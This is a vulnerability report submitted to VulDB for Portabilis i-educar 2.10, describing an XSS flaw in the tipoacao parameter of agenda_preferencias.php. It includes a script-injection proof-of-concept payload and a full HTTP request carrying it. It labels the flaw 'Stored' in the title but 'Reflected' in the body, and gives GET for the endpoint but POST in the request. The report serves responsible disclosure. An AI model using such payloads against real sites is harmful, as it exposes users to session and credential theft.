Отправить #649872: Portabilis i-educar 2.10 Cross Site Scripting (XSS) Stored

# Cross-Site Scripting (XSS) Reflected endpoint `agenda_preferencias.php` parameter `tipoacao`

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## Summary

A Reflected Cross-Site Scripting (XSS) vulnerability was identified in the `agenda_preferencias.php` endpoint of the _i-educar_ application. This vulnerability allows attackers to inject malicious scripts into the `tipoacao` parameter. The payload is reflected in the application’s HTTP response without proper sanitization, leading to immediate execution in the victim’s browser.

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## Details

**Vulnerable Endpoint:** `GET /agenda_preferencias.php`
**Parameter:** `tipoacao`

The application fails to properly validate and sanitize user input in the `tipoacao` parameter. An attacker can craft a malicious URL containing a JavaScript payload, which is reflected back in the server’s response and executed when a victim accesses the crafted link.

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## PoC

**Payload:**

`"><script>alert('XSS-PoC')</script>`

### Steps to Reproduce:

1. Log in to the _i-educar_ application.

2. Make a request using Caido similar to the one below.

```
POST /intranet/agenda_preferencias.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/intranet/agenda_preferencias.php
Cookie: [PUT NEW COOKIE]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

tipoacao=Editar"><script>alert('XSS-PoC')</script>&cod_agenda=2&envia_alerta=0&agenda_display=2
```

![[Pasted image 20250816233021.png]]

The result:
![[Pasted image 20250816233448.png]]

---

## Impact

Reflected XSS vulnerabilities can lead to severe consequences, including:

- **Session hijacking:** Theft of cookies or authentication tokens

- **Credential theft:** Capturing sensitive user credentials via injected scripts

- **Malware delivery:** Redirecting victims to malicious downloads or exploit pages

- **Phishing attacks:** Displaying deceptive forms or content to steal user data

- **Reputation damage:** Exploiting trust between the application and its users

- **Client-side manipulation:** Altering the application’s content and behavior dynamically

• Источник: ⚠️ https://github.com/marcelomulder/CVE/blob/main/i-educar/Cross-Site%20Scripting%20(XSS)%20Reflected%20endpoint%20%60agenda_preferencias.php%60%20parameter%20%60tipoacao%60.md
• Пользователь: marceloQz (UID 87549)
• Представление: 07.09.2025 16:33 (9 месяцы назад)
• Модерация: 17.09.2025 09:04 (10 days later)
• Статус: принято
• Запись VulDB: 324625 [Portabilis i-Educar до 2.10 /agenda_preferencias.php tipoacao межсайтовый скриптинг]
• Баллы: 20